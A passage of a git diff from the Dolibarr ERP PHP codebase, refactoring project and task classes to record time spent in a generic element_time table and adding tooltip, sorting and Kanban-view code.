'".$this->db->idate($datestart)."' "; + $sql .= " AND ptt.element_date <= '".$this->db->idate(dol_time_plus_duree($datestart, 1, 'w') - 1)."')"; if ($taskid) { - $sql .= " AND ptt.fk_task=".((int) $taskid); + $sql .= " AND ptt.fk_element=".((int) $taskid); } if (is_numeric($userid)) { $sql .= " AND ptt.fk_user=".((int) $userid); @@ -2000,13 +2045,13 @@ class Project extends CommonObject // Loop on each record found, so each couple (project id, task id) while ($i < $num) { $obj = $this->db->fetch_object($resql); - $day = $this->db->jdate($obj->task_date); // task_date is date without hours + $day = $this->db->jdate($obj->element_date); // task_date is date without hours if (empty($daylareadyfound[$day])) { - $this->weekWorkLoad[$day] = $obj->task_duration; - $this->weekWorkLoadPerTask[$day][$obj->fk_task] = $obj->task_duration; + $this->weekWorkLoad[$day] = $obj->element_duration; + $this->weekWorkLoadPerTask[$day][$obj->fk_element] = $obj->element_duration; } else { - $this->weekWorkLoad[$day] += $obj->task_duration; - $this->weekWorkLoadPerTask[$day][$obj->fk_task] += $obj->task_duration; + $this->weekWorkLoad[$day] += $obj->element_duration; + $this->weekWorkLoadPerTask[$day][$obj->fk_element] += $obj->element_duration; } $daylareadyfound[$day] = 1; $i++; @@ -2040,14 +2085,15 @@ class Project extends CommonObject dol_print_error('', 'Error datestart parameter is empty'); } - $sql = "SELECT ptt.rowid as taskid, ptt.task_duration, ptt.task_date, ptt.task_datehour, ptt.fk_task"; - $sql .= " FROM ".MAIN_DB_PREFIX."projet_task_time AS ptt, ".MAIN_DB_PREFIX."projet_task as pt"; - $sql .= " WHERE ptt.fk_task = pt.rowid"; + $sql = "SELECT ptt.rowid as taskid, ptt.element_duration, ptt.element_date, ptt.element_datehour, ptt.fk_element"; + $sql .= " FROM ".MAIN_DB_PREFIX."element_time AS ptt, ".MAIN_DB_PREFIX."projet_task as pt"; + $sql .= " WHERE ptt.fk_element = pt.rowid"; + $sql .= " AND ptt.elementtype = 'task'"; $sql .= " AND pt.fk_projet = ".((int) $this->id); - $sql .= " AND (ptt.task_date >= '".$this->db->idate($datestart)."' "; - $sql .= " AND ptt.task_date <= '".$this->db->idate(dol_time_plus_duree($datestart, 1, 'm') - 1)."')"; + $sql .= " AND (ptt.element_date >= '".$this->db->idate($datestart)."' "; + $sql .= " AND ptt.element_date <= '".$this->db->idate(dol_time_plus_duree($datestart, 1, 'm') - 1)."')"; if ($taskid) { - $sql .= " AND ptt.fk_task=".((int) $taskid); + $sql .= " AND ptt.fk_element=".((int) $taskid); } if (is_numeric($userid)) { $sql .= " AND ptt.fk_user=".((int) $userid); @@ -2063,16 +2109,16 @@ class Project extends CommonObject // Loop on each record found, so each couple (project id, task id) while ($i < $num) { $obj = $this->db->fetch_object($resql); - if (!empty($obj->task_date)) { - $date = explode('-', $obj->task_date); + if (!empty($obj->element_date)) { + $date = explode('-', $obj->element_date); $week_number = getWeekNumber($date[2], $date[1], $date[0]); } if (empty($weekalreadyfound[$week_number])) { - $this->monthWorkLoad[$week_number] = $obj->task_duration; - $this->monthWorkLoadPerTask[$week_number][$obj->fk_task] = $obj->task_duration; + $this->monthWorkLoad[$week_number] = $obj->element_duration; + $this->monthWorkLoadPerTask[$week_number][$obj->fk_element] = $obj->element_duration; } else { - $this->monthWorkLoad[$week_number] += $obj->task_duration; - $this->monthWorkLoadPerTask[$week_number][$obj->fk_task] += $obj->task_duration; + $this->monthWorkLoad[$week_number] += $obj->element_duration; + $this->monthWorkLoadPerTask[$week_number][$obj->fk_element] += $obj->element_duration; } $weekalreadyfound[$week_number] = 1; $i++; @@ -2121,7 +2167,7 @@ class Project extends CommonObject $projectsListId = null; - if (!$user->rights->projet->all->lire) { + if (!$user->hasRight("projet", "all", "lire")) { $response->url = DOL_URL_ROOT.'/projet/list.php?search_status=1&mainmenu=project'; $projectsListId = $this->getProjectsAuthorizedForUser($user, 0, 1); if (empty($projectsListId)) { @@ -2165,18 +2211,18 @@ class Project extends CommonObject /** * Function used to replace a thirdparty id with another one. * - * @param DoliDB $db Database handler - * @param int $origin_id Old thirdparty id - * @param int $dest_id New thirdparty id + * @param DoliDB $dbs Database handler + * @param int $origin_id Old thirdparty id + * @param int $dest_id New thirdparty id * @return bool */ - public static function replaceThirdparty(DoliDB $db, $origin_id, $dest_id) + public static function replaceThirdparty(DoliDB $dbs, $origin_id, $dest_id) { $tables = array( 'projet' ); - return CommonObject::commonReplaceThirdparty($db, $origin_id, $dest_id, $tables); + return CommonObject::commonReplaceThirdparty($dbs, $origin_id, $dest_id, $tables); } @@ -2263,7 +2309,7 @@ class Project extends CommonObject $this->user_creation = $cuser; } - if ($obj->fk_user_cloture) { + if (!empty($obj->fk_user_cloture)) { $cluser = new User($this->db); $cluser->fetch($obj->fk_user_cloture); $this->user_cloture = $cluser; @@ -2287,8 +2333,8 @@ class Project extends CommonObject * Adds it to non existing supplied categories. * Existing categories are left untouch. * - * @param int[]|int $categories Category or categories IDs - * @return void + * @param int[]|int $categories Category or categories IDs + * @return int <0 if KO, >0 if OK */ public function setCategories($categories) { @@ -2311,4 +2357,83 @@ class Project extends CommonObject $this->lines = $taskstatic->getTasksArray(0, $user, $this->id, 0, 0, '', '-1', '', 0, 0, array(), 0, array(), 0, $loadRoleMode); } + + /** + * Function sending an email to the current member with the text supplied in parameter. + * + * @param string $text Content of message (not html entities encoded) + * @param string $subject Subject of message + * @param array $filename_list Array of attached files + * @param array $mimetype_list Array of mime types of attached files + * @param array $mimefilename_list Array of public names of attached files + * @param string $addr_cc Email cc + * @param string $addr_bcc Email bcc + * @param int $deliveryreceipt Ask a delivery receipt + * @param int $msgishtml 1=String IS already html, 0=String IS NOT html, -1=Unknown need autodetection + * @param string $errors_to erros to + * @param string $moreinheader Add more html headers + * @since V18 + * @return int <0 if KO, >0 if OK + */ + public function sendEmail($text, $subject, $filename_list = array(), $mimetype_list = array(), $mimefilename_list = array(), $addr_cc = "", $addr_bcc = "", $deliveryreceipt = 0, $msgishtml = -1, $errors_to = '', $moreinheader = '') + { + global $conf, $langs; + // TODO EMAIL + + return 1; + } + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '') + { + global $langs, $user; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + //$return .= ''; // Can be image + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl() : $this->ref); + if ($this->hasDelay()) { + $return .= img_warning($langs->trans('Late')); + } + $return .= ''; + $return .= ''; + if (property_exists($this, 'date_start') && $this->date_start) { + $return .= '
      '.dol_print_date($this->date_start, 'day').''; + } + if (property_exists($this, 'date_end') && $this->date_end) { + if ($this->date_start) { + $return .= ' - '; + } else { + $return .= '
      '; + } + $return .= ''.dol_print_date($this->date_end, 'day').''; + } + /*if (property_exists($this, 'user_author_id')) { + $return .= '
      '.$langs->trans("Author").''; + $return .= ' : '.$user->getNomUrl(1).''; + }*/ + if ($this->usage_opportunity && $this->opp_status_code) { + //$return .= '
      '.$langs->trans("OpportunityStatusShort").''; + $return .= '
      '. $langs->trans("OppStatus".$this->opp_status_code); + $return .= ' ('.round($this->opp_percent).'%)'; + $return .= '
      '.price($this->opp_amount).''; + } + if (method_exists($this, 'getLibStatut')) { + $return .= '
      '.$this->getLibStatut(3).'
      '; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; + } } diff --git a/htdocs/projet/class/projectstats.class.php b/htdocs/projet/class/projectstats.class.php index 322277187f7..c32e789d429 100644 --- a/htdocs/projet/class/projectstats.class.php +++ b/htdocs/projet/class/projectstats.class.php @@ -98,7 +98,7 @@ class ProjectStats extends Stats $result = array(); - dol_syslog(get_class($this).'::'.__METHOD__."", LOG_DEBUG); + dol_syslog(get_class($this).'::'.__METHOD__, LOG_DEBUG); $resql = $this->db->query($sql); if ($resql) { $num = $this->db->num_rows($resql); @@ -298,7 +298,7 @@ class ProjectStats extends Stats * @param int $startyear End year * @param int $cachedelay Delay we accept for cache file (0=No read, no save of cache, -1=No read but save) * @param int $wonlostfilter Add a filter on status won/lost - * @return array Array of values + * @return array|int Array of values or <0 if error */ public function getWeightedAmountByMonthWithPrevYear($endyear, $startyear, $cachedelay = 0, $wonlostfilter = 1) { @@ -366,10 +366,7 @@ class ProjectStats extends Stats if ($fp) { fwrite($fp, json_encode($data)); fclose($fp); - if (!empty($conf->global->MAIN_UMASK)) { - $newmask = $conf->global->MAIN_UMASK; - } - @chmod($newpathofdestfile, octdec($newmask)); + dolChmod($newpathofdestfile); } else { dol_syslog("Failed to write cache file", LOG_ERR); } @@ -411,10 +408,10 @@ class ProjectStats extends Stats /** * Return amount of elements by month for several years * - * @param int $endyear End year - * @param int $startyear Start year - * @param int $cachedelay accept for cache file (0=No read, no save of cache, -1=No read but save) - * @return array of values + * @param int $endyear End year + * @param int $startyear Start year + * @param int $cachedelay accept for cache file (0=No read, no save of cache, -1=No read but save) + * @return array|int Array of values or <0 if error */ public function getTransformRateByMonthWithPrevYear($endyear, $startyear, $cachedelay = 0) { @@ -479,12 +476,11 @@ class ProjectStats extends Stats dol_mkdir($conf->user->dir_temp); } $fp = fopen($newpathofdestfile, 'w'); - fwrite($fp, json_encode($data)); - fclose($fp); - if (!empty($conf->global->MAIN_UMASK)) { - $newmask = $conf->global->MAIN_UMASK; + if ($fp) { + fwrite($fp, json_encode($data)); + fclose($fp); + dolChmod($newpathofdestfile); } - @chmod($newpathofdestfile, octdec($newmask)); $this->lastfetchdate[get_class($this).'_'.__FUNCTION__] = $nowgmt; } @@ -549,7 +545,7 @@ class ProjectStats extends Stats /** * Return average of entity by month * @param int $year year number - * @return int value + * @return array */ protected function getAverageByMonth($year) { diff --git a/htdocs/projet/class/task.class.php b/htdocs/projet/class/task.class.php index b751d8d1e8e..fe00eb671d9 100644 --- a/htdocs/projet/class/task.class.php +++ b/htdocs/projet/class/task.class.php @@ -2,9 +2,10 @@ /* Copyright (C) 2008-2014 Laurent Destailleur * Copyright (C) 2010-2012 Regis Houssin * Copyright (C) 2014 Marcos García - * Copyright (C) 2018 Frédéric France + * Copyright (C) 2018-2023 Frédéric France * Copyright (C) 2020 Juanjo Menent * Copyright (C) 2022 Charlene Benke + * Copyright (C) 2023 Gauthier VERDOL * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -29,6 +30,7 @@ require_once DOL_DOCUMENT_ROOT.'/core/class/commonobject.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/commonobjectline.class.php'; require_once DOL_DOCUMENT_ROOT.'/projet/class/project.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/timespent.class.php'; /** @@ -49,7 +51,7 @@ class Task extends CommonObjectLine /** * @var string Field with ID of parent key if this field has a parent */ - public $fk_element = 'fk_task'; + public $fk_element = 'fk_element'; /** * @var string String with name of icon for myobject. @@ -60,7 +62,7 @@ class Task extends CommonObjectLine * @var array List of child tables. To test if we can delete object. */ protected $childtables = array( - 'projet_task_time' => array('name' => 'Task', 'parent' => 'projet_task', 'parentkey' => 'fk_task') + 'element_time' => array('name' => 'Task', 'parent' => 'projet_task', 'parentkey' => 'fk_element', 'parenttypefield' => 'elementtype', 'parenttypevalue' => 'task') ); /** @@ -128,6 +130,8 @@ class Task extends CommonObjectLine public $timespent_thm; public $timespent_note; public $timespent_fk_product; + public $timespent_invoiceid; + public $timespent_invoicelineid; public $comments = array(); @@ -199,7 +203,7 @@ class Task extends CommonObjectLine $sql .= ", progress"; $sql .= ", budget_amount"; $sql .= ") VALUES ("; - $sql .= ((int) $conf->entity); + $sql .= (!empty($this->entity) ? (int) $this->entity : (int) $conf->entity); $sql .= ", ".((int) $this->fk_project); $sql .= ", ".(!empty($this->ref) ? "'".$this->db->escape($this->ref)."'" : 'null'); $sql .= ", ".((int) $this->fk_task_parent); @@ -275,6 +279,7 @@ class Task extends CommonObjectLine $sql = "SELECT"; $sql .= " t.rowid,"; $sql .= " t.ref,"; + $sql .= " t.entity,"; $sql .= " t.fk_projet as fk_project,"; $sql .= " t.fk_task_parent,"; $sql .= " t.label,"; @@ -319,6 +324,7 @@ class Task extends CommonObjectLine $this->id = $obj->rowid; $this->ref = $obj->ref; + $this->entity = $obj->entity; $this->fk_project = $obj->fk_project; $this->fk_task_parent = $obj->fk_task_parent; $this->label = $obj->label; @@ -556,8 +562,8 @@ class Task extends CommonObjectLine } if (!$error) { - $sql = "DELETE FROM ".MAIN_DB_PREFIX."projet_task_time"; - $sql .= " WHERE fk_task = ".((int) $this->id); + $sql = "DELETE FROM ".MAIN_DB_PREFIX."element_time"; + $sql .= " WHERE fk_element = ".((int) $this->id)." AND elementtype = 'task'"; $resql = $this->db->query($sql); if (!$resql) { @@ -673,8 +679,9 @@ class Task extends CommonObjectLine $ret = 0; $sql = "SELECT COUNT(*) as nb"; - $sql .= " FROM ".MAIN_DB_PREFIX."projet_task_time"; - $sql .= " WHERE fk_task = ".((int) $this->id); + $sql .= " FROM ".MAIN_DB_PREFIX."element_time"; + $sql .= " WHERE fk_element = ".((int) $this->id); + $sql .= " AND elementtype = 'task'"; dol_syslog(get_class($this)."::hasTimeSpent", LOG_DEBUG); $resql = $this->db->query($sql); @@ -696,6 +703,34 @@ class Task extends CommonObjectLine } + /** + * getTooltipContentArray + * + * @param array $params ex option, infologin + * @since v18 + * @return array + */ + public function getTooltipContentArray($params) + { + global $langs; + + $langs->load('projects'); + + $datas = []; + $datas['picto'] = img_picto('', $this->picto).' '.$langs->trans("Task").''; + if (!empty($this->ref)) { + $datas['ref'] = '
      '.$langs->trans('Ref').': '.$this->ref; + } + if (!empty($this->label)) { + $datas['label'] = '
      '.$langs->trans('LabelTask').': '.$this->label; + } + if ($this->date_start || $this->date_end) { + $datas['range'] = "
      ".get_date_range($this->date_start, $this->date_end, '', $langs, 0); + } + + return $datas; + } + /** * Return clicable name (with picto eventually) * @@ -717,15 +752,18 @@ class Task extends CommonObjectLine } $result = ''; - $label = img_picto('', $this->picto).' '.$langs->trans("Task").''; - if (!empty($this->ref)) { - $label .= '
      '.$langs->trans('Ref').': '.$this->ref; - } - if (!empty($this->label)) { - $label .= '
      '.$langs->trans('LabelTask').': '.$this->label; - } - if ($this->date_start || $this->date_end) { - $label .= "
      ".get_date_range($this->date_start, $this->date_end, '', $langs, 0); + $params = [ + 'id' => $this->id, + 'objecttype' => $this->element, + ]; + $classfortooltip = 'classfortooltip'; + $dataparams = ''; + if (getDolGlobalInt('MAIN_ENABLE_AJAX_TOOLTIP')) { + $classfortooltip = 'classforajaxtooltip'; + $dataparams = ' data-params="'.dol_escape_htmltag(json_encode($params)).'"'; + $label = ''; + } else { + $label = implode($this->getTooltipContentArray($params)); } $url = DOL_URL_ROOT.'/projet/tasks/'.$mode.'.php?id='.$this->id.($option == 'withproject' ? '&withproject=1' : ''); @@ -744,8 +782,8 @@ class Task extends CommonObjectLine $label = $langs->trans("ShowTask"); $linkclose .= ' alt="'.dol_escape_htmltag($label, 1).'"'; } - $linkclose .= ' title="'.dol_escape_htmltag($label, 1).'"'; - $linkclose .= ' class="classfortooltip nowraponall"'; + $linkclose .= ($label ? ' title="'.dol_escape_htmltag($label, 1).'"' : ' title="tocomplete"'); + $linkclose .= $dataparams.' class="'.$classfortooltip.' nowraponall"'; } else { $linkclose .= ' class="nowraponall"'; } @@ -758,7 +796,7 @@ class Task extends CommonObjectLine $result .= $linkstart; if ($withpicto) { - $result .= img_object(($notooltip ? '' : $label), $picto, ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'classfortooltip"'), 0, 0, $notooltip ? 0 : 1); + $result .= img_object(($notooltip ? '' : $label), $picto, ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : $dataparams.' class="'.(($withpicto != 2) ? 'paddingright ' : '').$classfortooltip.'"'), 0, 0, $notooltip ? 0 : 1); } if ($withpicto != 2) { $result .= $this->ref; @@ -812,9 +850,11 @@ class Task extends CommonObjectLine * @param array $search_array_options Array of search * @param int $loadextras Fetch all Extrafields on each task * @param int $loadRoleMode 1= will test Roles on task; 0 used in delete project action - * @return array Array of tasks + * @param string $sortfield Sort field + * @param string $sortorder Sort order + * @return array|string Array of tasks */ - public function getTasksArray($usert = null, $userp = null, $projectid = 0, $socid = 0, $mode = 0, $filteronproj = '', $filteronprojstatus = '-1', $morewherefilter = '', $filteronprojuser = 0, $filterontaskuser = 0, $extrafields = array(), $includebilltime = 0, $search_array_options = array(), $loadextras = 0, $loadRoleMode = 1) + public function getTasksArray($usert = null, $userp = null, $projectid = 0, $socid = 0, $mode = 0, $filteronproj = '', $filteronprojstatus = '-1', $morewherefilter = '', $filteronprojuser = 0, $filterontaskuser = 0, $extrafields = array(), $includebilltime = 0, $search_array_options = array(), $loadextras = 0, $loadRoleMode = 1, $sortfield = '', $sortorder = '') { global $conf, $hookmanager; @@ -845,7 +885,7 @@ class Task extends CommonObjectLine } } if ($includebilltime) { - $sql .= ", SUM(tt.task_duration * ".$this->db->ifsql("invoice_id IS NULL", "1", "0").") as tobill, SUM(tt.task_duration * ".$this->db->ifsql("invoice_id IS NULL", "0", "1").") as billed"; + $sql .= ", SUM(tt.element_duration * ".$this->db->ifsql("invoice_id IS NULL", "1", "0").") as tobill, SUM(tt.element_duration * ".$this->db->ifsql("invoice_id IS NULL", "0", "1").") as billed"; } $sql .= " FROM ".MAIN_DB_PREFIX."projet as p"; @@ -859,7 +899,7 @@ class Task extends CommonObjectLine } $sql .= ", ".MAIN_DB_PREFIX."projet_task as t"; if ($includebilltime) { - $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."projet_task_time as tt ON tt.fk_task = t.rowid"; + $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."element_time as tt ON (tt.fk_element = t.rowid AND tt.elementtype='task')"; } if ($filterontaskuser > 0) { $sql .= ", ".MAIN_DB_PREFIX."element_contact as ec2"; @@ -876,14 +916,14 @@ class Task extends CommonObjectLine if ($filterontaskuser > 0) { $sql .= ", ".MAIN_DB_PREFIX."projet_task as t"; if ($includebilltime) { - $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."projet_task_time as tt ON tt.fk_task = t.rowid"; + $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."element_time as tt ON (tt.fk_element = t.rowid AND tt.elementtype='task')"; } $sql .= ", ".MAIN_DB_PREFIX."element_contact as ec2"; $sql .= ", ".MAIN_DB_PREFIX."c_type_contact as ctc2"; } else { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."projet_task as t on t.fk_projet = p.rowid"; if ($includebilltime) { - $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."projet_task_time as tt ON tt.fk_task = t.rowid"; + $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."element_time as tt ON (tt.fk_element = t.rowid AND tt.elementtype = 'task')"; } } $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."projet_task_extrafields as efpt ON (t.rowid = efpt.fk_object)"; @@ -954,8 +994,11 @@ class Task extends CommonObjectLine } } - - $sql .= " ORDER BY p.ref, t.rang, t.dateo"; + if ($sortfield && $sortorder) { + $sql .= $this->db->order($sortfield, $sortorder); + } else { + $sql .= " ORDER BY p.ref, t.rang, t.dateo"; + } //print $sql;exit; dol_syslog(get_class($this)."::getTasksArray", LOG_DEBUG); @@ -971,12 +1014,12 @@ class Task extends CommonObjectLine if ($loadRoleMode) { if ((!$obj->public) && (is_object($userp))) { // If not public project and we ask a filter on project owned by a user - if (!$this->getUserRolesForProjectsOrTasks($userp, 0, $obj->projectid, 0)) { + if (!$this->getUserRolesForProjectsOrTasks($userp, null, $obj->projectid, 0)) { $error++; } } if (is_object($usert)) { // If we ask a filter on a user affected to a task - if (!$this->getUserRolesForProjectsOrTasks(0, $usert, $obj->projectid, $obj->taskid)) { + if (!$this->getUserRolesForProjectsOrTasks(null, $usert, $obj->projectid, $obj->taskid)) { $error++; } } @@ -1025,7 +1068,8 @@ class Task extends CommonObjectLine if (!empty($extrafields->attributes['projet']['label'])) { foreach ($extrafields->attributes['projet']['label'] as $key => $val) { if ($extrafields->attributes['projet']['type'][$key] != 'separate') { - $tasks[$i]->{'options_'.$key} = $obj->{'options_'.$key}; + $tmpvar = 'options_'.$key; + $tasks[$i]->{'options_'.$key} = $obj->$tmpvar; } } } @@ -1033,7 +1077,8 @@ class Task extends CommonObjectLine if (!empty($extrafields->attributes['projet_task']['label'])) { foreach ($extrafields->attributes['projet_task']['label'] as $key => $val) { if ($extrafields->attributes['projet_task']['type'][$key] != 'separate') { - $tasks[$i]->{'options_'.$key} = $obj->{'options_'.$key}; + $tmpvar = 'options_'.$key; + $tasks[$i]->{'options_'.$key} = $obj->$tmpvar; } } } @@ -1056,12 +1101,12 @@ class Task extends CommonObjectLine /** * Return list of roles for a user for each projects or each tasks (or a particular project or a particular task). * - * @param User $userp Return roles on project for this internal user. If set, usert and taskid must not be defined. - * @param User $usert Return roles on task for this internal user. If set userp must NOT be defined. -1 means no filter. - * @param int $projectid Project id list separated with , to filter on project - * @param int $taskid Task id to filter on a task - * @param integer $filteronprojstatus Filter on project status if userp is set. Not used if userp not defined. - * @return array Array (projectid => 'list of roles for project' or taskid => 'list of roles for task') + * @param User|null $userp Return roles on project for this internal user. If set, usert and taskid must not be defined. + * @param User|null $usert Return roles on task for this internal user. If set userp must NOT be defined. -1 means no filter. + * @param int $projectid Project id list separated with , to filter on project + * @param int $taskid Task id to filter on a task + * @param integer $filteronprojstatus Filter on project status if userp is set. Not used if userp not defined. + * @return array|int Array (projectid => 'list of roles for project' or taskid => 'list of roles for task') */ public function getUserRolesForProjectsOrTasks($userp, $usert, $projectid = '', $taskid = 0, $filteronprojstatus = -1) { @@ -1224,31 +1269,20 @@ class Task extends CommonObjectLine $this->db->begin(); - $sql = "INSERT INTO ".MAIN_DB_PREFIX."projet_task_time ("; - $sql .= "fk_task"; - $sql .= ", task_date"; - $sql .= ", task_datehour"; - $sql .= ", task_date_withhour"; - $sql .= ", task_duration"; - $sql .= ", fk_user"; - $sql .= ", fk_product"; - $sql .= ", note"; - $sql .= ", datec"; - $sql .= ") VALUES ("; - $sql .= ((int) $this->id); - $sql .= ", '".$this->db->idate($this->timespent_date)."'"; - $sql .= ", '".$this->db->idate($this->timespent_datehour)."'"; - $sql .= ", ".(empty($this->timespent_withhour) ? 0 : 1); - $sql .= ", ".((int) $this->timespent_duration); - $sql .= ", ".((int) $this->timespent_fk_user); - $sql .= ", ".((int) $this->timespent_fk_product); - $sql .= ", ".(isset($this->timespent_note) ? "'".$this->db->escape($this->timespent_note)."'" : "null"); - $sql .= ", '".$this->db->idate($now)."'"; - $sql .= ")"; + $timespent = new TimeSpent($this->db); + $timespent->fk_element = $this->id; + $timespent->elementtype = 'task'; + $timespent->element_date = $this->timespent_date; + $timespent->element_datehour = $this->timespent_datehour; + $timespent->element_date_withhour = $this->timespent_withhour; + $timespent->element_duration = $this->timespent_duration; + $timespent->fk_user = $this->timespent_fk_user; + $timespent->fk_product = $this->timespent_fk_product; + $timespent->note = $this->timespent_note; + $timespent->datec = $this->db->idate($now); - $resql = $this->db->query($sql); - if ($resql) { - $tasktime_id = $this->db->last_insert_id(MAIN_DB_PREFIX."projet_task_time"); + if ($timespent->create($user) > 0) { + $tasktime_id = $this->db->last_insert_id(MAIN_DB_PREFIX."element_time"); $ret = $tasktime_id; $this->timespent_id = $ret; @@ -1268,7 +1302,7 @@ class Task extends CommonObjectLine if ($ret > 0) { // Recalculate amount of time spent for task and update denormalized field $sql = "UPDATE ".MAIN_DB_PREFIX."projet_task"; - $sql .= " SET duration_effective = (SELECT SUM(task_duration) FROM ".MAIN_DB_PREFIX."projet_task_time as ptt where ptt.fk_task = ".((int) $this->id).")"; + $sql .= " SET duration_effective = (SELECT SUM(element_duration) FROM ".MAIN_DB_PREFIX."element_time as ptt where ptt.elementtype = 'task' AND ptt.fk_element = ".((int) $this->id).")"; if (isset($this->progress)) { $sql .= ", progress = ".((float) $this->progress); // Do not overwrite value if not provided } @@ -1281,12 +1315,15 @@ class Task extends CommonObjectLine } // Update hourly rate of this time spent entry - $sql = "UPDATE ".MAIN_DB_PREFIX."projet_task_time"; - $sql .= " SET thm = (SELECT thm FROM ".MAIN_DB_PREFIX."user WHERE rowid = ".((int) $this->timespent_fk_user).")"; // set average hour rate of user - $sql .= " WHERE rowid = ".((int) $tasktime_id); + $resql_thm_user = $this->db->query("SELECT thm FROM " . MAIN_DB_PREFIX . "user WHERE rowid = " . ((int) $timespent->fk_user)); + if (!empty($resql_thm_user)) { + $obj_thm_user = $this->db->fetch_object($resql_thm_user); + $timespent->thm = $obj_thm_user->thm; + } + $res_update = $timespent->update($user); dol_syslog(get_class($this)."::addTimeSpent", LOG_DEBUG); - if (!$this->db->query($sql)) { + if ($res_update <= 0) { $this->error = $this->db->lasterror(); $ret = -2; } @@ -1317,11 +1354,11 @@ class Task extends CommonObjectLine $sql .= " s.nom as thirdparty_name,"; $sql .= " s.email as thirdparty_email,"; $sql .= " ptt.rowid,"; - $sql .= " ptt.fk_task,"; - $sql .= " ptt.task_date,"; - $sql .= " ptt.task_datehour,"; - $sql .= " ptt.task_date_withhour,"; - $sql .= " ptt.task_duration,"; + $sql .= " ptt.fk_element as fk_task,"; + $sql .= " ptt.element_date as task_date,"; + $sql .= " ptt.element_datehour as task_datehour,"; + $sql .= " ptt.element_date_withhour as task_date_withhour,"; + $sql .= " ptt.element_duration as task_duration,"; $sql .= " ptt.fk_user,"; $sql .= " ptt.note,"; $sql .= " ptt.thm,"; @@ -1332,9 +1369,10 @@ class Task extends CommonObjectLine $sql .= " p.ref as project_ref,"; $sql .= " p.title as project_label,"; $sql .= " p.public as public"; - $sql .= " FROM ".MAIN_DB_PREFIX."projet_task_time as ptt, ".MAIN_DB_PREFIX."projet_task as pt, ".MAIN_DB_PREFIX."projet as p"; + $sql .= " FROM ".MAIN_DB_PREFIX."element_time as ptt, ".MAIN_DB_PREFIX."projet_task as pt, ".MAIN_DB_PREFIX."projet as p"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."societe as s ON p.fk_soc = s.rowid"; - $sql .= " WHERE ptt.fk_task = pt.rowid AND pt.fk_projet = p.rowid"; + $sql .= " WHERE ptt.fk_element = pt.rowid AND pt.fk_projet = p.rowid"; + $sql .= " AND ptt.elementtype = 'task'"; $sql .= " AND pt.rowid = ".((int) $this->id); $sql .= " AND pt.entity IN (".getEntity('project').")"; if ($morewherefilter) { @@ -1396,12 +1434,10 @@ class Task extends CommonObjectLine * * @param User|int $userobj Filter on user. null or 0=No filter * @param string $morewherefilter Add more filter into where SQL request (must start with ' AND ...') - * @return array Array of info for task array('min_date', 'max_date', 'total_duration', 'total_amount', 'nblines', 'nblinesnull') + * @return array|int Array of info for task array('min_date', 'max_date', 'total_duration', 'total_amount', 'nblines', 'nblinesnull') */ public function getSummaryOfTimeSpent($userobj = null, $morewherefilter = '') { - global $langs; - if (is_object($userobj)) { $userid = $userobj->id; } else { @@ -1417,19 +1453,19 @@ class Task extends CommonObjectLine $result = array(); $sql = "SELECT"; - $sql .= " MIN(t.task_datehour) as min_date,"; - $sql .= " MAX(t.task_datehour) as max_date,"; - $sql .= " SUM(t.task_duration) as total_duration,"; - $sql .= " SUM(t.task_duration / 3600 * ".$this->db->ifsql("t.thm IS NULL", 0, "t.thm").") as total_amount,"; + $sql .= " MIN(t.element_datehour) as min_date,"; + $sql .= " MAX(t.element_datehour) as max_date,"; + $sql .= " SUM(t.element_duration) as total_duration,"; + $sql .= " SUM(t.element_duration / 3600 * ".$this->db->ifsql("t.thm IS NULL", 0, "t.thm").") as total_amount,"; $sql .= " COUNT(t.rowid) as nblines,"; $sql .= " SUM(".$this->db->ifsql("t.thm IS NULL", 1, 0).") as nblinesnull"; - $sql .= " FROM ".MAIN_DB_PREFIX."projet_task_time as t"; - $sql .= " WHERE 1 = 1"; + $sql .= " FROM ".MAIN_DB_PREFIX."element_time as t"; + $sql .= " WHERE t.elementtype='task'"; if ($morewherefilter) { $sql .= $morewherefilter; } if ($id > 0) { - $sql .= " AND t.fk_task = ".((int) $id); + $sql .= " AND t.fk_element = ".((int) $id); } if ($userid > 0) { $sql .= " AND t.fk_user = ".((int) $userid); @@ -1477,19 +1513,19 @@ class Task extends CommonObjectLine $result = array(); $sql = "SELECT"; - $sql .= " SUM(t.task_duration) as nbseconds,"; - $sql .= " SUM(t.task_duration / 3600 * ".$this->db->ifsql("t.thm IS NULL", 0, "t.thm").") as amount, SUM(".$this->db->ifsql("t.thm IS NULL", 1, 0).") as nblinesnull"; - $sql .= " FROM ".MAIN_DB_PREFIX."projet_task_time as t"; - $sql .= " WHERE t.fk_task = ".((int) $id); + $sql .= " SUM(t.element_duration) as nbseconds,"; + $sql .= " SUM(t.element_duration / 3600 * ".$this->db->ifsql("t.thm IS NULL", 0, "t.thm").") as amount, SUM(".$this->db->ifsql("t.thm IS NULL", 1, 0).") as nblinesnull"; + $sql .= " FROM ".MAIN_DB_PREFIX."element_time as t"; + $sql .= " WHERE t.elementtype='task' AND t.fk_element = ".((int) $id); if (is_object($fuser) && $fuser->id > 0) { $sql .= " AND fk_user = ".((int) $fuser->id); } if ($dates > 0) { - $datefieldname = "task_datehour"; + $datefieldname = "element_datehour"; $sql .= " AND (".$datefieldname." >= '".$this->db->idate($dates)."' OR ".$datefieldname." IS NULL)"; } if ($datee > 0) { - $datefieldname = "task_datehour"; + $datefieldname = "element_datehour"; $sql .= " AND 